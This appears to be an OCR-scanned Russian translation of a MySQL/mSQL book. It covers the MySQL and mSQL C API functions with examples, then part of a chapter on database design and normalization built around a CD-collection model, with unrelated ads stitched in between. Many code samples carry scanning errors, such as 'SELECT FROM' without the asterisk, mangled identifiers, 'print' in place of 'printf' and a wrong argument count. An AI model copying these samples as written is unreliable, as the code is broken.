Возвращает-структуру MYSQL_RES, содержащую имена всех существующих таблиц в текущей базе данных, которые отвечают выражению, заданному во втором аргументе. Этот аргумент может быть любым стандартным регулярным выражением SQL. Если передать нулевой указатель вместо выражения, будет возвращен список имен всех таблиц. Как и все структуры MYSQL_RES, значение, возвращаемое этой функцией, должно быть освобождено с помощью mysql_f ree_result. Эта функция возвращает нулевое значение в случае ошибки.

Пример

MYSQL_RES tables;

tables = mysql_list_tables(&mysql, "p%");

/* 'tables' теперь содержит имена всех таблиц в текущей базе данных, начинающиеся с 'р' */

mysql_num_fields

unsigned int mysql_num_fields(MYSQL_RESresult)

Возвращает число полей, содержащееся в каждой записи указанного результирующего набора.

Пример

num_fields = mysql_num_fields(results);

printf("There are %d fields in each row\n", num_fields);

mysql_num_rows

int mysqi_num_rows(MYSQL_RESresult)

Эта функция вернет количество записей в возвращаемом наборе записей. Работает корректно, только если набор был получен функцией mysql_store_result. Если была использована функция mysql_use_result, значением, возвращаемым функцией mysql_num_rows, будет количество записей, к которым уже был осуществлен доступ.

Пример

num_rows = mysql_num_rows(results);

printf("Было возвращено %d записей \n", num_rows);

mysql_ping

int mysql_ping(MYSQL*mysql)

Проверяет статус подключения к серверу MySQL. Если подключение не активно, клиент попытается автоматически восстановить его. Эта функция возвращает ноль, если подключение активно, и ненулевое значение в случае ошибки.

Пример

while(mysql_ping(&mysql))

printf("Ошибка, попытка повторного подключения...\n");

mysql_query

int mysql_query(MYSQL*mysql, const char"query)

Выполняет SQL-запрос, заданный вторым аргументом. Если запрос содержит любые двоичные данные (особенно пустой символ (null)), эту функцию использовать невозможно, и следует пользоваться функцией mysql_real_query. Функция возвращает ноль, если запрос был выполнен успешно, и ненулевое значение в случае ошибки.

Пример

error = mysql_query(&mysql, "SELECT FROM people WHERE name like

'Bill%'");

if (error) {

printf("Ошибка при выполнении запроса!\n");

exit(1);

}

mysql_real_connect

MYSQL *mysql_real_connect(MYSQL*mysql, const char*host, const char *user,

const char *passwd, const char*db, uint port, const char*unix_socket, uint client_flag)

Создает соединение с сервером баз данных MySQL. У этой функции есть восемь аргументов:

  • Инициализированная структура MYSQL, созданная с помощью mysql_init.
  • Имя хоста или IP-адрес сервера баз данных MySQL (для локального подключения к серверу MySQL через сокет Unix можно использовать пустую строку или localhost).
  • Имя пользователя, используемое при подключении к серверу баз данных (пустой строкой можно указать на использование логина пользователя, запустившего клиента).
  • Пароль, используемый для идентификации указанного пользователя. Если используется пустая строка, будет производиться аутентификация только пользователей без пароля.
  • Начальная база данных, используемая при подключении (чтобы не выбирать при подключении начальную базу данных, можно передать пустую строку).
  • Порт, используемый для удаленного подключения к серверу баз данных MySQL по протоколу TCP (чтобы принять порт по умолчанию, можно передать 0).
  • Имя сокета Unix для подключения к серверу на локальном компьютере (чтобы принять сокет по умолчанию, можно использовать пустую строку).
  • Ноль или более из набора флагов, используемых при особых обстоятельствах:

CLIENT_FOUND_ROWS

При использовании запросов, изменяющих данные, возвращать не число измененных записей, а число записей, найденных в таблице.

CLIENT_NO_SCHEMA

Запретить клиенту использование полной формы указания на столбец базы данных database, table.column , чтобы скрыть структуру базы данных.

CLIENT_COMPRESS

Использовать сжатие при соединении с сервером.

CLIENT_ODBC

Указать серверу, что клиент является подключением ODBC.

Пример

/* Подключиться к серверу на локальном хосте, используя стандартные

параметры. */

if (! mysql_real_connect(&mysql, "localhost", "bob", "mypass", "", 0, 0))

{

print "Ошибка подключения!\n";

exit(1); }

mysql_real_query

int mysql_real_query(MYSQL*mysql, const char*query, unsigned int length)

Выполняет SQL-запрос, заданный вторым аргументом. В третьем аргументе должна быть указана длина запроса. Указав длину, вы можете использовать в запросе двоичные данные, включая пустые (null) символы. Эта функция действует быстрее, чем mysql_query. Функция возвращает ноль, если запрос был успешно выполнен, и ненулевое значение в случае ошибки.

Пример

error = mysql_real_query(&ntysql, "SELECT FROM people WHERE name like Bill%'",

44);

if (error)

{

printf("Ошибка при выполнении запроса!\n");

exit(1);

}

mysql_reload

int mysql_reload(MYSQL*mysql)

Перегружает таблицу привилегий на сервере баз данных MySQL. Для использования этой функции вы должны иметь право Reload для текущего подключения. Функция возвращает ноль, если операцию удалось выполнить, иначе возвращается ненулевое значение.

Пример

result = mysql_reload(&mysql);

mysql_row_tell

unsigned int mysql_row_tell(MYSQL_RESresult)

Возвращает значение курсора, используемого функцией mysql_fetch_row при чтении записей из результирующего набора. Возвращаемое этой функцией значение может быть использовано с mysql_row_seek для перехода к определенной записи в наборе.

Пример

saved_pos = mysql_row_tell(results);

/* Теперь в любой момент я могу вернуться к этой записи */

mysql_select_db

int mysql_select_db(MYSQL*mysql, const char*db)

Изменяет текущую базу данных. Пользователь должен иметь права доступа к новой базе данных. Функция возвращает ноль, если операция была успешно выполнена, и ненулевое значение в случае ошибки.

Пример

result = mysql_select_db(&mysql, "newdb");

mysql_shutdown

int mysql_shutdown(MYSQL*mysql)

Выключает сервер баз данных MySQL. Для использования этой функции пользователь должен иметь право Shutdown для текущего подключения. Функция возвращает ноль, если операция была успешно выполнена, и ненулевое значение в случае ошибки.

Пример

result = mysql_shutdown(&mysql);

mysql_stat

char *mysql_stat(MYSQL*mysql)

Возвращает информацию о текущем статусе сервера баз данных. Среди прочей информации содержатся данные о времени работы, количестве запущенных потоков и количестве обрабатываемых запросов.

Пример

printf("Информация о сервере \n-------\n%s\n", mysql_stat(&mysql));

mysql_store_result

MYSQL_RES *mysql_store_result(MYSQL*mysql)

Читает весь результат запроса и сохраняет его в структуре MYSQL_RES. Для доступа к возвращаемым из запроса данным должна использоваться либо эта функция, либо mysql_use_result. Вы должны вызвать mysql_f ree_result для освобождения структуры MYSQL_RES после завершения работы с ней. Функция возвращает нулевое значение в случае ошибки.

Пример

MYSQL_RES results;

mysql_query(&mysql, "SELECT* FROM people");

results = mysql_store_result(&mysql);

/* 'results' теперь содержит всю информацию из таблицы'people*/

mysql_thread_id

unsigned long mysql_thread_id(MYSQL* mysql)

Возвращает ID потока текущего подключения. Это значение может использовать mysql_kill для завершения подключения в случае ошибки.

Пример

thread_ld = mysql_thread_id(&mysql);

mysql_use_result

MYSQL_RES*mysql_use_result(MYSQL*mysql)

Читает результат запроса построчно и позволяет получить доступ к данным через структуру MYSQL_RES. Для доступа к возвращаемым из запроса данным должна использоваться или эта функция, или mysql_store_result. Так как эта функция не читает весь набор данных за один раз, она более быстрая, чем mysql_store_result, и более эффективно использует память. Однако при использовании этой функции вы должны прочесть все записи из набора данных, иначе следующий запрос получит оставшиеся данные. Также вы не сможете выполнять другие запросы до окончания работы с данными из этого запроса. После завершения работы с ними следует вызвать mysql_f ree_result для освобождения структуры MYSQL_RES. Функция возвращает нулевое значение в случае ошибки.

Пример

MYSQL_RES results;

mysql_query(&mysql, "SELECT* FROM people");

results = mysql_store_result(&mysql);

/* 'results' теперь позволяет получить доступ к данным таблицы (используя mysql_fetch_row), по одной записи за раз*/

mSQLCAPI

API для языка С в mSQL версии 2 не имеет принципиальных отличий от реализации в mSQL 1. Однако были добавлены некоторые новые функции, и было внесено несколько изменений в уже существующие функции. Если функция может быть использована только в mSQL 2, на это обращается особое внимание.

Типы данных

mSQL С API кроме стандартных типов данных языка С использует некоторые свои типы. Они определены в заголовочном файле 'msql.h', который необходимо подключать при компиляции всех программ, использующих библиотеку mSQL.

m_result

Структура, содержащая результаты оператора SELECT (или SHOW). Доступ к результатам запроса следует осуществлять через элемент этой структуры m_row.

m_row

Одна запись из данных, возвращаемых запросом SELECT. Результаты всех типов данных mSQL хранятся в этом типе (как массив символьных строк).

m_field

Структура, содержащая всю информацию, которая касается отдельного поля таблицы. Элементы структуры m_field могут быть проверены напрямую и имеют следующее строение:

char *name

Имя поля.

char *table

Имя таблицы, содержащей поле. Это значение пустое (null), если результирующий набор не относится к настоящей таблице.

int type

Тип поля. Является целым числом, соответствующим типам данных mSQL SQL, определенным в заголовочном файле msql.h.

int length

Длина поля в байтах.

int flags

Ноль или более флагов. Доступ к флагам осуществляется- через следующие макросы:

IS_PRI_KEY(flags)

Возвращает true, если поле является первичным ключом.

IS_NOT_NULL(flags)

Возвращает true, если поле определено как NOT NULL.

msqIConnect

int msqIConnect ( char*host )

Создает подключение к серверу mSQL с указанным именем хоста или IP-адресом. Если в аргументе передать пустое значение, будет создано подключение к серверу mSQL на локальном хосте, с использованием сокетов Unix. Функция возвращает описатель базы данных, применяемый для связи с сервером баз данных. В случае ошибки вернется — 1.

Пример

/* Создать подключение к серверу баз данных на локальном хосте*/

dbh = msqlConnect( (char*)NULL );

if (dbh == -1) {

print " Ошибка при подключении!\n";

exit(1); }

msqISelectDB

int msqISelectDB ( int sock , char*dbName )

Выбирает базу данных для указанного подключения. Базу данных необходимо выбрать до того, как будут посланы любые запросы к серверу баз данных. В случае ошибки возвращается — 1.

Пример

/* Выбрать базу данных "mydatabase" */

result = msqlSelectDB( dbh, "mydatabase" );

if (result == -1) {

print "Ошибка при выборе базы данных! \n";

exit(1); }

msqIQuery

int msqlQuery( int sock , char*query )

Выполняет указанный SQL-запрос. В mSQL 2 в возвращаемом значении содержится количество записей, измененных запросом (или выбранных запросом SELECT). В mSQL 1 при успешном выполнении возвращается ноль. В случае ошибки обе версии возвращают — 1.

Пример

rows_returned = msqlQuery( dbh, "SELECT FROM people" );

msqIStoreResult

m_result *msqlStoreResult()

Сохраняет результат запроса SELECT. Эту функцию вызывают сразу после вызова msqIQuery с запросом SELECT. Результаты запроса сохраняются в структуре m_result. Новые запросы посылаются серверу баз данных только после вызова этой функции. Каждая структура m_result должна быть освобождена с помощью msqlFreeResult по завершении работы с ней.

Пример

m_result *results;

rows_returned = msqlQuery( dbh, "SELECT FROM people" );

results = msqlStoreResult();

IK. 897

/* К данным из этого запроса можно обращаться через'results'. Теперь можно выполнять новые запросы */

msqIFreeResult

void msqIFreeResult ( m_result*result )

Освобождает память, связанную со структурой m_result.

Пример

m_result "results;

rows_returned = msqlQuery( dbh, "SELECT FROM people" );

results = msqlStoreResult();

/* Выполнить работу */

msqIFreeResult(results);

msqIFetchRow

m_row msqIFetchRow ( m_result*result )

Выбирает одну запись из результирующего набора. Данные помещаются в структуру m_row, которая является массивом символьных строк. Каждый успешный вызов функции msqIFetchRow возвращает следующую запись до тех пор, пока не будет достигнут конец набора, тогда будет возвращено нулевое значение.

Пример

m_result *results;

m_row "row;

rows_returned = msqlQuery( dbh, "SELECT FROM people" );

results = msqlStoreResult();

row = msqlFetchRow(results);

printf("Третье поле первой записи в таблице: %s\n", row[2]);

msqlDataSeek

void msqlDataSeek ( m_result* result, int pos )

Устанавливает курсор, указывающий функции msqIFetchRow, .какую строку выбирать при следующей операции. Установив курсор в позицию 0, вы переместите его в начало данных. Установив курсор в позицию после последней записи, вы поместите его в конец данных.

Пример

m_result *results;

m_row Vow;

rows_returned = msqlQuery( dbh, "SELECT FROM people" );

results = msqlStoreResult();

row = msqlFetchRow(results);

/* Вернуться к исходной позиции */ msqlDataSeek(results, 0);

msqINumRows

int msqINumRows ( m_result*result )

Возвращает число строк в результирующем наборе.

Пример

rows_returned = msqlQuery( dbh, "SELECT FROM people" );

results = msqlStoreResult(); rows = msqlNumRows(results);

msqIFetchField

m_field "msqIFetchField ( m_result*result )

Возвращает информацию о полях в результирующем наборе. Каждый успешный вызов функции msqIFetchField вернет структуру m_f ield для очередного поля, пока полей больше не останется, и тогда будет возвращено пустое значение.

Пример

m_field *field;

rows_returned = msqlQuery( dbh, "SELECT FROM people" );

results = msqlStoreResult();

field = msqlFetchField(results);

/* 'field' теперь содержит информацию о первом поле

в результирующем наборе */

field = msqlFetchField(results);

/* 'field' теперь содержит информацию о втором поле в том же наборе записей */

msqlFieldSeek

void msqlFieldSeek ( m_result*result , int pos )

Устанавливает курсор, указывающий функции msqlFetchField какое поле выбирать в следующий раз. Установив курсор в позицию после последнего поля, вы, собственно, установите его просто после последнего поля.

Пример

m_result "results; m_field 'field;

rows_returned = msqlQuery( dbh, "SELECT FROM people" );

results = msqlStoreResult();

field = msqlFetchField(results);

/* Вернутся к исходной позиции */

msqlFieldSeek(results, .0);

msqlNumFields

int msqlNumFields ( m_result* result )

Возвращает число полей в результирующем наборе.

Пример

rows_returned = msqlQuery( dbh, "SELECT FROM people" );

results = msqlStoreResult();

fields = msqlNumFields(results);

msqICIose

int msqICIose ( int sock )

Закрывает подключение к серверу баз данных mSQL.

Пример

dbh = msqlConnect( (char')NULL );

/* Do work */

msqlClose(dbh);

msqIListDBs

m_result *msqlListDBs ( int sock )

Возвращает структуру m_result, содержащую имена всех баз данных, доступных на сервере баз данных. Как и все структуры m_result, значение, возвращаемое этой функцией, должно быть освобождено с помощью msqlFreeResult после завершения работы с ним.

Пример

databases = msqlListDBs(dbh);

/* 'databases' содержит теперь имена всех баз данных на сервере*/

msqIListTables

m_result *msqIListTables ( int sock )

Возвращает структуру m_result, содержащую имена всех таблиц текущей базы данных. Как и все структуры m_result, значение, возвращаемое этой функцией, должно быть освобождено с помощью msqlFreeResult после завершения работы с ним.

Пример

tables = msqlListTables(dbh);

/* 'tables' содержит теперь имена всех таблиц текущей базы данных*/

msqIListFields

m_result 'msqIListFields ( int sock , char*tableName )

Возвращает структуру m_result, содержащую имена всех полей в указанной таблице. Как и все структуры m_result, значение, возвращаемое этой функцией, должно быть освобождено с помощью msqlFreeResult после завершения работы с ним.

Пример

fields = msqlListFields(dbh, "people");

/* 'fields' содержит теперь имена всех полей

в таблице'people' */

msqIListlndex

m_result 'msqIListlndex ( int sock , char*tableName , char*index )

Возвращает структуру m_result, содержащую информацию о заданном индексе. Возвращаемый набор данных будет содержать тип индекса (в настоящее время поддерживается только тип 'avl') и содержащиеся в индексе имена полей. Как и все структуры m_result, значение, возвра щаемое этой функцией, должно быть освобождено с помощью msqlFreеResult после завершения работы с ним.

Пример

index = msqll_istIndex(dbh, "people", "idx1");

/* Теперь'index' содержит информацию об индексе 'idx1' в таблице 'people' */

Поиск книг в интернет магазине Болеро

Поиск DVD в интернет магазине DVD DOM
Внимание! Money-Hunting.Ru - Интересная Online Игра с Денежными Призами.


  • Глава №2. Проектирование баз данных
    • Проектирование баз данных
    • Нормализация
    • Методология логического моделирования данных
    • Проектирование физической базы данных

Глава №2.

Проектирование баз данных

После установки на компьютере СУБД у вас может возникнуть сильный соблазн сразу начать создание базы данных, не задумываясь о планировании. Как и в других случаях разработки программного обеспечения, такой подход оправдан лишь при решении простейших задач. Если вы рассчитываете, что ваша база данных должна будет поддерживать хоть какую-то степень сложности, немного планирования и проектирования, в конечном итоге, несомненно сбережет ваше время.

Проектирование баз данных

Предположим, у вас есть большая коллекция компакт-дисков, и вы хотите создать базу данных, чтобы отслеживать ее. Прежде всего, нужно определить, какие данные вы собираетесь хранить. Неплохо начать с того, чтобы подумать, а зачем, собственно, вам хранить эти данные. В нашем случае мы, скорее всего, хотим иметь возможность найти диск по исполнителю, названию и песне. Раз мы хотим искать эти пункты, они должны быть включены в базу данных. Помимо того, часто полезно просто перечислить пункты, которые нужно отслеживать. Возможен такой список: название CD, фирма звукозаписи, название ансамбля, название песни. В качестве отправной точки выберем для хранения данных таблицу, представленную как таблица 2-1.

Таблица 2-1. База данных CD, состоящая из одной таблицы

Band Name | CD Title | Record Label | Songs
Stevie Wonder | Talking Book | Motown | You Are the Sunshine of My Life, Maybe Your Baby, Superstition, . . .
Miles Davis Quintet | Miles Smiles | Columbia | Orbits, Circle, . . .
Wayne Shorter | Speak No Evil | Blue Note | Witch Hunt, Fee-Fi-Fo-Fum
Herbie Hancock | Headhunters | Columbia | Chameleon, Watermelon Man, . . .
Herbie Hancock | Maiden Voyage | Blue Note | Maiden Voyage

(Для краткости мы опустили большую часть -песен.) На первый взгляд, эта таблица нам подходит, поскольку в ней есть все необходимые данные. При более близком рассмотрении, однако, мы сталкиваемся с некоторыми проблемами. Возьмем, к примеру, Herbie Hancock. Название ансамбля повторяется дважды - для каждого CD. Это повторение неприятно по нескольким причинам. Во-первых, при вводе данных нам приходится вводить одно и то же несколько раз. Во-вторых, что более важно, при изменении каких-либо данных приходится изменять их в нескольких местах. Что если, к примеру, в Herbie вкралась орфографическая ошибка? Пришлось бы исправлять данные в двух строках. Та же проблема возникнет, если имя Herbie Hancock в будущем изменится (а ля Jefferson Airplane или John Cougar). С добавлением к нашей коллекции новых дисков Herbie Hancock увеличивается объем работы, необходимой для поддержания непротиворечивости данных.

Другая проблема, вызванная наличием в базе данных всего одной таблицы, связана с тем, как хранятся названия песен. Мы храним их, как список песен, в одной колонке. Мы столкнемся с кучей проблем, если попытаемся разумно использовать эти данные. Представьте себе, как мы будем вводить и поддерживать этот список песен. А что если мы захотим хранить еще и длительность песен? Или пожелаем осуществлять поиск по названию песни? Довольно быстро становится ясно, что хранить песни в таком виде нежелательно.

Вот тут начинает играть свою роль проектирование баз данных. Одна из важнейших задач проектирования баз данных - устранение из нее избыточности. Для этого используется прием, называемый нормализацией. Прежде чем приступить к нормализации, обсудим некоторые фундаментальные понятия реляционных баз данных. Модель данных -это диаграмма, показывающая конструкцию вашей базы данных. Она состоит из трех основных элементов - сущностей, атрибутов и связей. Пока остановимся на сущностях и атрибутах, а о связях поговорим позднее.

Сущности в базе данных

Сущность - это важная вещь или объект, сведения о котором нужно сохранить. Не все вещи являются сущностями, а только те, данные о которых должны быть сохранены. Сведения о сущностях имеют вид атрибутов и/или связей. Если некий кандидат на то, чтобы быть сущностью, не имеет атрибутов или связей, в действительности он не является сущностью. В модели базы данных сущности представляются в виде прямоугольника с заголовком. Заголовок является именем сущности.

Атрибуты сущности

Атрибут описывает данные о сущности, которые нужно сохранить. У каждой сущности ноль или более атрибутов, описывающих ее, и каждый атрибут описывает в точности одну сущность. Каждый экземпляр сущности (строка таблицы) имеет в точности одно значение, возможно, равное NULL, для каждого из своих атрибутов. Значение атрибута может быть числом, строкой символов, датой, временем или другим базовым значением данных. На первом этапе проектирования базы данных, логическом моделировании, нас не заботит то, каким образом будут храниться данные.

NULL лежит в основе проблемы, связанной с отсутствующей информацией. Он специально используется тогда, когда какая-то часть данных отсутствует. Рассмотрим, к примеру, ситуацию, когда на CD нет данных о длительности каждой песни. У каждой песни есть длительность, но, глядя на коробку, вы не можете сказать, какова она. Хранить длительность как О нежелательно, поскольку это было бы неверно. Вместо этого вы записываете длительность как NULL. Если вы считаете, что можно сохранить ее как 0 и использовать 0 для обозначения «неизвестной длины», то можете попасть в одну из тех западней, которые привели к проблеме 2000-го года. В старых системах не только год хранится как две цифры, но и придается особое значение величине 9-9-99.

В нашем примере база данных ссылается на ряд объектов - CD, название CD, название ансамбля, песни и название фирмы звукозаписи. Какие из них являются сущностями, а какие - атрибутами?

Модель данных

Обратите внимание, что мы определяем несколько видов данных (название CD, название ансамбля и т. д.), относящихся к каждому CD, и без которых описать CD совершенно невозможно. Поэтому CD является одним из тех объектов, которые мы хотим описать, и, похоже, является сущностью. Начнем разработку модели данных с изображения CD как сущности. На рис. 2-1 показана наша единственная сущность в модели данных.

Рис. 2-1. Сущность «CD» в модели данных

По общепринятому соглашению об именовании сущностей имя сущности должно быть в единственном числе. Поэтому мы называем таблицу, в которой хранятся CD «CD», а не «CDs». Мы используем это соглашение, поскольку каждая сущность дает имя экземпляру. Например, «San Francisco 49ers» является экземпляром сущности «Футбольная команда», а не «Футбольные команды».

На первый взгляд кажется, что оставшаяся часть базы данных описывает CD. Это указывает на то, что она содержит атрибуты CD. На рис. 2-2 они добавлены к сущности CD рис. 2-1. В модели данных атрибуты представлены как имена, перечисленные в прямоугольнике сущности.

Эта диаграмма проста, но мы еще не закончили. В действительности, мы только начали. Ранее мы говорили, что целью моделирования данных является устранение избыточности с помощью приема, называемого нормализацией. У нашей базы данных прекрасная диаграмма, но мы не покончили с избыточностью, как намеревались. Пора нормализовать нашу базу данных.

Рис. 2-2. Сущность «CD» с атрибутами

Нормализация

Е. Ф. Кодд (Е. F. Codd), занимавшийся исследовательской работой в IBM, впервые представил концепцию нормализации в нескольких важных статьях, написанных в 1970-е годы. Задача нормализации остается той же самой и сегодня: устранить из базы данных некоторые нежелательные характеристики. В частности ставится задача устранить некоторые виды избыточности данных и благодаря этому избежать аномалий при изменении данных. Аномалии изменения данных - это сложности при операциях вставки, изменения и удаления данных, возникающие из-за структуры базы данных. Дополнительным результатом нормализации является конструкция, хорошо соответствующая реальному миру. Поэтому в результате нормализации модель данных становится более ясной.

Например, предположим, что мы ошиблись при вводе «Herbie Hancock» в нашу базу данных и хотим исправить ошибку. Нам потребовалось бы рассмотреть все диски этого исполнителя и исправить имя. Если изменения производятся с помощью приложения, позволяющего одновременно редактировать только одну запись, нам придется редактировать много строк. Было бы гораздо лучше запомнить имя «Herbie Hancock» лишь один раз и редактировать его в одном месте.

Первая нормальная форма (1NF)

Общее понятие нормализации подразделяется на несколько «нормальных форм». Говорят, что сущность находится в первой нормальной форме, когда все ее атрибуты имеют единственное значение. Чтобы признать сущность находящейся в первой нормальной форме, нужно удостовериться в том, что каждый атрибут сущности имеет единственное значение для каждого экземпляра сущности. Если в каком-либо атрибуте есть повторяющиеся значения, сущность не находится в 1NF.

Вернувшись к нашей базе данных, мы обнаруживаем, что повторяющиеся значения есть в атрибуте Song (песня), поэтому очевидно, что база не находится в 1NF. Сущность с повторяющимися значениями указывает на то, что мы упустили еще по крайней мере одну сущность. Обнаружить другие сущности можно, взглянув на каждый атрибут и задавшись вопросом «что описывает эта вещь?»

Что описывает атрибут Song? Он перечисляет все песни на CD. Поэтому Song - это еще один объект, о котором мы собираем данные, и, возможно, он является сущностью. Мы добавим его в свою диаграмму и придадим атрибут Song Name (название песни). Чтобы покончить с сущностью Song, спросим себя, чем еще мы хотели бы ее охарактеризовать. Мы отметили ранее, что длительность песни мы также хотели бы сохранить. Новая модель данных показана на рис. 2-3.

Рис. 2-3. Модель данных с сущностями CD и Song

Теперь, когда Song Name и Song Length являются атрибутами сущности Song, мы имеем модель данных с двумя сущностями в 1NF. К сожалению, мы не указали никакого способа связать вместе CD и Song.

Уникальный идентификатор

Прежде чем обсуждать связи, мы должны применить к сущностям еще одно правило. У каждой сущности должен быть однозначный идентификатор, который мы будем называть ID. ID есть атрибут сущности, к которому применимы следующие правила:

  • Он уникален для каждого экземпляра сущности.
  • Для каждого экземпляра сущности он имеет значение, отличное от NULL в течение всего срока существования экземпляра.
  • В течение всего времени существования экземпляра его значение не меняется.

ID очень важен, поскольку позволяет узнать, с каким из экземпляров сущности мы имеем дело. Выбор идентификатора также существенен, потому что он используется для моделирования связей. Если после выбора ID для сущности вы обнаружили, что он не удовлетворяет одному из перечисленных правил, это может повлиять на всю вашу модель данных.

Новички в моделировании данных часто делают ошибку, выбирая в качестве ID неподходящие атрибуты. Если, к примеру, у вас есть сущность Person (человек, лицо), может возникнуть соблазн выбрать в качестве идентификатора Name (фамилию), поскольку она есть у каждого лица и не меняется. Но что если лицо вступает в брак или законным образом хочет изменить фамилию? Или вы допустили ошибку при первоначальном вводе фамилии? При каждом из этих событий нарушается третье правило для идентификаторов. Еще хуже то, что фамилия окажется не уникальной. Если вы не можете стопроцентно гарантировать, что атрибут Name уникален, вы нарушаете первое правило для идентификаторов. Наконец, вы считаете, что у каждого экземпляра Person фамилия отлична от NULL. Но вы уверены, что всякий раз, вводя первоначальные данные в базу, будете знать фамилию? Ваш процесс может быть организован так, что при начальном создании записи фамилия может быть неизвестна. Из этого следует извлечь тот урок, что при выборе неидентифицирующего атрибута в качестве идентификатора возникает много проблем.

Выход в том, чтобы изобрести идентифицирующий атрибут, не имеющий никакого иного смысла, кроме как служить идентифицирующим атрибутом. Поскольку этот атрибут искусственный и никак не связан с сущностью, мы имеем над ним полный контроль и можем обеспечить его соответствие правилам для уникальных идентификаторов. На рис. 2-4 к каждой из наших сущностей добавлен искусственный ID. На диаграмме уникальный идентификатор изображается как подчеркнутый атрибут.

Рис. 2-4. Сущности CD и Song со своими уникальными идентификаторами

Связи

Идентификаторы наших сущностей позволяют моделировать их связи. Связь описывает бинарное отношение между двумя сущностями. Связь может существовать также внутри одной сущности. Такая связь называется рекурсивной. Каждая сущность, участвующая в связи, описывает-другую и описывается ею. Каждая сторона связи имеет две составляющих - имя и степень.

У каждой стороны связи есть имя, описывающее связь. Возьмем две гипотетические сущности — Служащий и Отдел. Один вариант связи между ними состоит в том, что Служащий «приписан» к Отделу. Этот Отдел «отвечает» за Служащего. Таким образом, связь со стороны Служащий называется «приписан», а со стороны Отдел - «отвечает».

Степень, называемая также кардинальным числом, показывает, сколько экземпляров описывающей сущности должны описывать один экземпляр описываемой сущности. Степень выражается с помощью двух разных значений- «один-к-одному» (1) и «один-ко-многим» (М). Служащий приписан одновременно только к одному отделу, поэтому у сущности Служащий связь с сущностью Отдел «один-к-одному». В обратном направлении, отдел отвечает за многих служащих. Поэтому мы говорим, что у сущности Отдел связь с сущностью Служащий «один-ко-многим». В результате в Отделе может быть и только один Служащий.

Иногда полезно выразить связь словами. Один из способов - вставить разные составляющие направления связи в следующую формулу:

сущность1имеет [одну и только одну одну или много] сущностъ2

Согласно этой формуле связь между Служащим и Отделом можно выразить так:

Каждый Служащий должен быть приписан к одному и только одному

Отделу.

Каждый Отдел может отвечать одному или многим Служащим.

Рис. 2-5. Анатомия связи

Рис. 2-6. Связь CD-'Song

Можно использовать эту формулу для описания сущностей в нашей модели данных. В каждом CD содержится много или одна Song, и каждая Song содержится хотя бы в одном CD. В нашей модели данных эту связь можно показать, проведя линию между двумя сущностями. Степень обозначается прямой линией для связи «один и только один» и «птичьей лапой» для связи «один-ко-многим>>. На рис. 2-5 показаны эти обозначения.

Как это применимо к связи между Song и CD? На практике Song может содержаться на многих CD, но для нашего примера мы этим пренебрежем. На рис. 2-6 показана модель данных с обозначенными связями.

Прочно установив связи, мы можем вернуться к процессу нормализации и опять улучшить нашу схему. Пока мы лишь нормализовали повторяющиеся песни, преобразовав их в отдельную сущность, и смоделировали связь между ней и сущностью СD.

Вторая нормальная форма (2NF)

Говорят, что сущность находится во второй нормальной форме, если она уже находится в первой НФ, и каждый неидентифицирующий атрибут зависит от всего уникального идентификатора сущности. Если некий атрибут не зависит полностью от уникального идентификатора сущности, значит, он внесен ошибочно и должен быть удален. Нормализуйте такой атрибут либо найдя сущность, к которой он относится, либо создав новую сущность, в которую он должен быть помещен.

Рис. 2-7. Модель данных с новой сущностью Artist

В нашем примере «Herbie Hancock» является Band Name (названием ансамбля) для двух разных CD. Это показывает, что Band Name не полностью зависит от идентификатора CD ID. Это дублирование представляет собой проблему, поскольку если мы допустили ошибку при вводе «Herbie Hancock», придется исправлять значение в нескольких местах. Это указывает нам, что Band Name должно быть частью новой сущности, связанной с CD. Как и раньше, мы решаем эту задачу, задав вопрос: «Что описывает название ансамбля?» Оно описывает ансамбль, или, вообще говоря, исполнителя. Исполнитель - еще один объект, о котором мы собираем данные, и потому, возможно, является сущностью. Мы добавим его к нашей схеме с атрибутом Band Name. Поскольку исполнитель может не быть ансамблем, мы переименуем атрибут как Artist Name. На рис. 2-7 показано новое состояние модели.

Правда, не показаны связи для новой таблицы исполнителей. Ясно, что у каждого Artist может быть один или много CD. У каждого CD может быть один или несколько Artist. Это показано на рис. 2-8.

Рис. 2-8. Связи сущности Artist в модели данных

Вначале мы присвоили атрибут Band Name сущности CD. Поэтому было естественным установить прямую связь между Artist и CD. Но верно ли это? При ближайшем рассмотрении оказывается, что следует установить прямую связь между Artist и Song. У каждого Artist есть одна или много Song. Каждая Song исполняется одним и только одним Artist. Правильные связи показаны на рис. 2-9.

Это не только более разумно, чем связь между Artist и CD, но и решает проблему дисков-сборников.

Рис. 2-9. Подлинная связь между Artist и остальной частью модели данных

Виды связей

При моделировании связей между сущностями важно определить оба направления связи. После определения обеих сторон связи мы приходим к трем основным видам связей. Если оба конца связи имеют степень «один и только один», то связь называется «один-к-одному». Как мы позднее убедимся, связи «один-к-одному» встречаются редко. В нашей модели данных их нет.

Если одна сторона имеет степень «один или много», а другая сторона имеет степень «один и только один», то это связь «один-ко-многим» или «1-к-М». Все связи в нашей модели - это связи «один-ко-многим». Этого можно было ожидать, поскольку связи «один-ко-многим» наиболее распространены.

И наконец, последний тип связей - когда обе стороны имеют степень «один-ко-многим». Такого типа связи называются «многие-ко-мно-гим», или «М-к-М». В предыдущей версии нашей модели данных связь Artist-CD имела тип «многие-ко-многим».

Уточнение.связей

Как отмечалось ранее, связи «один-к-одному» очень редки. На практике, если в процессе моделирования вы столкнетесь с такой связью, следует внимательнее изучить свой проект. Такая связь может означать, что две сущности являются на самом деле одной, и если это так, их следует объединить в одну.

Связи «многие-ко-многим» встречаются чаще, чем «один-к-одному». В этих связях часто есть некоторые данные, которыми мы хотим охарактеризовать связь. Взглянем, например, на предыдущую версию нашей модели данных на рис. 2-8, в которой была связь «многие-ко-многим» между Artist и CD. Artist имеет связь с CD, поскольку у исполнителя есть одна или несколько Song на этом CD. Модель данных на рис. 2-9 фактически является другим представлением этой связи «многие-ко-многим».

Все связи «многие-ко-многим» нужно разрешать с помощью следующей технологии:

  1. Создайте новую сущность, иногда называемую сущностью-связкой. Назовите ее подходящим образом. Если вы не можете придумать подходящее название, образуйте его из сочетания имен связываемых сущностей, например ArtistCD. В нашей модели Song является сущностью-связкой для связи Artist-CD.
  2. Свяжите новую сущность с двумя исходными. Каждая из исходных сущностей должна иметь связь «один-ко-многим» с сущностью-связкой.
  3. Если в новой сущности нет очевидного уникального идентификатора, введите в нее идентифицирующие атрибуты исходных сущностей и сделайте эту пару уникальным идентификатором новой сущности.

Почти всегда обнаружатся дополнительные атрибуты, принадлежащие новой сущности. Если это не так, то все равно необходимо разрешить связь «многие-ко-многим», иначе возникнут проблемы при переводе вашей модели данных в физическую схему.

Рис. 2-10. Наша модель данных во второй нормальной форме

